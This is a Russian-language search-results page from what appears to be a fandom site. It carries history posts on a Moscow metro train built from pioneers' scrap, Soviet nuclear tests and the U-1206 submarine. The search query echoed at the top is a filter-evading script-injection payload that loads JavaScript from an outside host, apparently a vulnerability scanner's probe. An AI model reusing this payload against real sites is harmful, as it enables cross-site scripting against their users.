Результаты поиска по запросу «
</title><scr<script>ipt src=https://wapiti3.ovh/1z.js></script>
»метро пионеры наебалово #сквозь время фэндомы
«Счастливые» пионеры в поезде метрополитена «Пионер Кунцева», якобы построенном из собранного ими металлолома, 30 декабря 1984 года, Москва
В 1983 году пионеры Кунцевского района Москвы начали сбор металлолома на два именных поезда для своей филевской линии — «Пионер Кунцева» и «Молодогвардеец». Им хотелось чтобы на их линии были именные поезда и появились новые на тот момент «номерные», которых тогда на Филевской линии не было. На собранный им металлолом было построено два поезда из вагонов типа «номерной», но потом выяснилось что их нельзя использовать на Филевской линии из–за того что она значительную свою протяженность проходит по поверхности земли, а «номерные» слабо приспособлены к эксплуатации на земле, особенно зимой. Руководство Московского метрополитена долго решало что делать и было решено отправить новые «номерные» на другие линии, а пионерам показать старые перекрашенные поезда из вагонов типа «Д».Когда им показали «новый» именной поезд в депо Фили, который был на самом деле был построен в 1961 году и выглядел как остальные поезда, стоящие рядом, они сразу поняли что их обманули, перекрасив старые поезда и не могли понять куда делся собранный им металлолом.
В первом и последнем вагоне поезда были размещены таблички, на которых было написано: «Поезд построен из металлолома, собранного в 1984 году», однако рядом висела заводская, на которой было написано «Мытищинский вагоностроительный завод, вагон типа „Д“, год выпуска: 1961».
Удивительно, на что рассчитывало руководство Московского метрополитена, пытаясь обмануть пионеров? Ведь только совсем слепой не сможет отличить «номерной» от «Д».
Некоторое время шла тяжба между Кунцевским РК Комсомола и Московским горкомом КПСС с руководством Московского метрополитена, но в итоге решение осталось прежним. Поезд «Пионер Кунцева» просуществовал всего 6 лет, после чего в 1991 году был порезан на металлолом, поскольку настоящий срок его работы на линии был не с 1984 года, а с 1961 года.
http://trehgranka.metro.ru/directory/pioner-kuntseva.htm
ядерное оружие годовщина паста длиннопост #сквозь время фэндомы
Взрыв советской атомной бомбы РДС-1, который произошёл ровно 70 лет назад на Семипалатинском полигоне. С этой даты начались советские ядерные испытания
Взрыв первой советской атомной бомбы состоялся 29 августа 1949 года — бомба называлась "РДС-1", для того чтобы запутать "империалистическую разведку" — название расшифровывалось как "ракетный двигатель специальный". Разумеется, все испытания были засекречены от собственных граждан — Молотов лишь огрызнулся в ответ на заявление президента США Трумэна о том, что в СССР был произведён взрыв атомной бомбы.
Солдаты химзащиты и войск связи, находившиеся в то время на Семипалатинском полигоне — были размещены вне зоны действия ударной волны, но в непосредственной близости от взрыва. По словам участников событий — после подрыва бомбы солдаты вскакивали и кричали "ура", глядя на растущий на горизонте чёрный гриб — не понимая, что сильно переоблучаются. После взрыва части дозиметристов направили в ещё не осевшее от взрыва пылевое облако... Фактически, первые данные о воздействии ядерного оружия на людей и технику были получены уже тогда — но в дальнейшем, для получения "более точных и явных данных", советские испытания стали ещё более изощрёнными и жестокими.
Атомные испытания на технике и людях.
В начале пятидесятых годов на Семипалатинском полигоне было произведено ещё несколько взрывов атомных бомб, и испытания действия ядерного оружия на людях стали уже более явными. Во время взрыва водородной бомбы 12 августа 1953 года в селе Кайнар было оставлено 42 комсомольца-добровольца, самому старшему из которых было около 30 лет — большинство из этих "добровольцев" умерли, не дожив и до 40 лет — умерев от последствий тяжёлого облучения — всех этих ребят можно записать в жертвы советской ядерной программы.
Одно из самых страшных испытаний прошло 14 сентября 1954 года на Тоцком полигоне — тогда в жертву советским амбициям было принесено фактически 43 тысячи советских солдат-срочников. Солдатам, разумеется, ничего не сообщили — их свозили эшелонами в район Тоцкого полигона, где солдаты начали разгружать на первый взгляд странные и непонятные вещи — металлические конструкции, лес, кирпичи, предметы быта и домашнюю утварь, а также сотни единиц гражданской и военной техники.
К моменту взрыва на огромной территории были построены подобия жилых зданий, расставлена техника, размещены танки и артиллерия, после чего солдатам в чисто советском стиле сообщили, что им выпала "огромная честь" участвовать в испытании ядерной бомбы. Солдаты увидели, как в абсолютной тишине на горизонте рос чёрный гриб, после чего пришёл грохот ударной волны, от которого едва не лопнули барабанные перепонки, после чего началась вторая часть учений — солдат отправили прямо в в эпицентр взрыва "добивать вероятного противника".
Солдаты, вошедшие в зону действия ядерной бомбы, увидели страшную картину — дымящуюся траву, горящие автомобили, валяющиеся везде останки животных. Стояла сплошная чёрная стена из дыма, радиоактивной пыли и смрада — от которой сохло и першило в горле. Фактически, более 40 тысяч человек были отравлены радиацией непонятно во имя чего — третье поколение людей, переживших испытания на Тоцком полигоне, живёт с предрасположенностью к раку. Через 40 лет после испытаний (в 2004 году) из 45 тысяч молодых военных, участвовавших в этом ужасе, в живых оставалось не более 2 тыс. человек — половина из которых были инвалидами.
Советские ядерные испытания продолжались и после 1950-х годов — вплоть до закрытия Семипалатинского полигона на нём было произведено почти 500 воздушных, наземных и подземных ядерных взрывов, а также 175 взрывов с применением химических веществ. За время испытаний более 100 тысяч жителей Казахстана получили ущерб для здоровья разной степени тяжести. На людей воздействовало не только внешнее облучение от взрывов, но и внутреннее — от продуктов питания, которые были загрязнены радиацией и облучали людей изнутри.
подводная лодка туалет #сквозь время фэндомы
Как однажды затонула немецкая субмарина по причине неисправности туалета
Война является движущей силой инноваций. Можно сказать, что суперклей и Интернет – это тоже продукты военных технологий, впоследствии перекочевавшие в нашу повседневную гражданскую жизнь. Однако некоторые новинки, предназначенные для решения проблем, приводят к возникновению более крупных проблем, как это и произошло с немецкой подводной лодкой U–1206 в 1945 году.Во время Второй мировой войны немецкие субмарины лидировали в области утилизации отходов под водой. Вместо того чтобы хранить отходы на борту в септических резервуарах, немецкие инженеры разработали метод их сброса непосредственно в воду.
Первоначально это можно было выполнить только на относительном мелководье, но в условиях войны субмаринам было опасно оставаться вблизи поверхности, так как они могли быть замечены войсками союзных держав.
К 1945 году технологии достигли определенного прогресса, и немцы смогли разработать более совершенный тип туалета под высоким давлением, который можно было смыть на глубине. Однако модель была намного сложнее, чем предыдущие: в ней отходы проходили через ряд камер с высоким давлением, потом в шлюз, а только затем сбрасывались в море. Поэтому на каждой подводной лодке был специалист, обучавший, как правильно пользоваться туалетом.
U–1206 была одной из новых моделей подводных лодок, оснащенных этими продвинутыми туалетами. В апреле 1945 года субмарина находилась в Северном море, в 16 км от побережья Шотландии, и тут в какой–то момент капитану Карлу–Адольфу Шлитту очень захотелось в уборную.
Увы, но капитан как раз не успел пройти курс обучения по пользованию туалетом, и, не в силах разобраться в этой конструкции, позвал другого члена экипажа на помощь. Тот, не задумываясь (и не особо понимая устройство), открыл не тот клапан, затопив туалетный отсек субмарины морской водой и нечистотами.
Затем вода просочилась во внутренние аккумуляторы подводной лодки и вызвала выброс газообразного хлора, токсичного химиката, который угрожал отравить всю команду. Не имея других вариантов, капитан Шлитт приказал подниматься на поверхность, чтобы выветрить хлор–газ из субмарины.
После всплытия подводную лодку почти сразу заметили британские самолеты, которые немедленно её атаковали. В результате весь экипаж спешно эвакуировался с субмарины в аварийных спасательных шлюпках в попытке добраться до шотландского берега.
Вторая мировая закончилась через несколько недель после этого случая. А злосчастная субмарина U–1206 с поломанным туалетом так и покоится до сих пор на дне Северного моря.
Моя Україна Пісні України разная политота #сквозь время фэндомы
1991 рік
Ірчик зі Львова - Українська ламбада